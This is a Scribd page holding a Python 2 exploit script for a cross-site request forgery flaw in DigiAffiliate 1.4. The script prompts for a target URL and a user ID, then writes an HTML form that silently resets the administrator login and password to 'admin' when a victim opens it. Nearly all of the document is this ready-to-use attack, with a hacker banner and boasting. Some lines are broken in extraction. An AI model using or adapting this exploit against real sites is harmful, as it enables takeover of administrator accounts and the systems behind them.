Scribd Logo
Hochladen

Willkommen bei Scribd!

  • 500 Err

    Hochgeladen von

    YOSH Channel
    12 Ansichten4 Seiten

    Originaltitel

    500.err.txt

    Copyright

    © © All Rights Reserved

    Verfügbare Formate

    TXT, PDF, TXT oder online auf Scribd lesen

    Stufen Sie dieses Dokument als nützlich ein?

    Sind diese Inhalte unangemessen?

    Dieses Dokument melden

    Copyright:

    © All Rights Reserved
    Als TXT, PDF, TXT herunterladen oder online auf Scribd lesen
    Markieren Sie unangemessene Inhalte
    12 Ansichten4 Seiten

    500 Err

    Hochgeladen von

    YOSH Channel

    Copyright:

    © All Rights Reserved
    Als TXT, PDF, TXT herunterladen oder online auf Scribd lesen
    Markieren Sie unangemessene Inhalte
    von 4

    #!

    /usr/local/bin/python

    # # # # #

    # Exploit Title: DigiAffiliate 1.4 - Cross-Site Request Forgery (Update Admin)

    # Dork: N/A

    # Date: 18.09.2017

    # Vendor Homepage: http://www.digiappz.com/

    # Software Link: http://www.digiappz.com/digiaffiliate.asp?id=7

    # Demo: http://www.digiappz.com/digiaffiliate/login.asp

    # Version: 1.4

    # Category: Webapps

    # Tested on: WiN7_x64/KaLiLinuX_x64

    # CVE: N/A

    # # # # #

    # Exploit Author: 500.err

    # Author Conntact : tuyul500err@gmail.com

    # Author Social: tuyul500err@gmail.com

    # # # # #

    import os

    import urllib

    if os.name == 'nt':

            os.system('cls')

    else:

        os.system('clear')

    def csrfexploit():

        e_baslik = '''

    ################################################################################

    <WTF===============================================================================
    ====================WTF>

    VERSION : 500.ERR
    THANKS : H***7/1337/TUYULERR
    >quit
    >quit

                                     TUYUL500ERR                              

                                   tuyul500err@gmail.com                                
        

                                           +                                    

                        DigiAffiliate 1.4 - CSRF (Update Admin)          

    ################################################################################

        '''

        print e_baslik

        url = str(raw_input(" [+] Enter The Target URL (Please include http:// or
    https://) \n Demo Site:http://digiappz.com/digiaffiliate: "))

        id = raw_input(" [+] Enter The User ID \n (Demo Site Admin ID:220): ")

         

        csrfhtmlcode = '''

    <html>

    <body>

    <form method="POST" action="%s/user_save.asp" name="user">

    <table border="0" align="center">

      <tbody><tr>

        <td valign="middle">

             

            <table border="0" align="center">

              <tbody><tr>

                <td bgcolor="gray" align="center">

                    <table width="400" cellspacing="1" cellpadding="2" border="0">


                        <tbody><tr>

                            <td colspan="2" bgcolor="cream" align="left">

                                <font color="red">User Update</font>

                            </td>

                        </tr>

                        <tr>

                            <td>

                                <font><b>Choose Login*</b></font>

                            </td>

                            <td>

                                <input name="login" size="30" value="admin"


    type="text">

                            </td>

                        </tr>

                        <tr>

                            <td>

                                <font><b>Choose Password*</b></font>

                            </td>

                            <td>

                                <input name="password" size="30" value="admin"


    type="text">

                            </td>

                        </tr>

                        <tr>

                            <td colspan="2" align="center">

                                <input name="id" value="%s" type="hidden">

                                <input value="Update" onclick="return check()"


    type="submit">

                            </td>

                        </tr>

                     </tbody></table>
                  </td>

                </tr>

            </tbody></table>

         </td>

      </tr>

    </tbody></table>

    </form>

        ''' %(url, id)

        print " +----------------------------------------------------+\n [!] The HTML


    exploit code for exploiting this CSRF has been created."

     print " JANGAN SEPANENG :D ,siapin kopi sama rokoknya !!!! :D...

        print(" [!] Enter your Filename below\n Note: The exploit will be saved as
    'filename'.html \n")

        extension = ".html"

        name = raw_input(" Filename: ")

        filename = name+extension

        file = open(filename, "w")

        file.write(csrfhtmlcode)

        file.close()

        print(" [+] Your exploit is saved as %s")%filename

        print("")

    csrfexploit()

    Das könnte Ihnen auch gefallen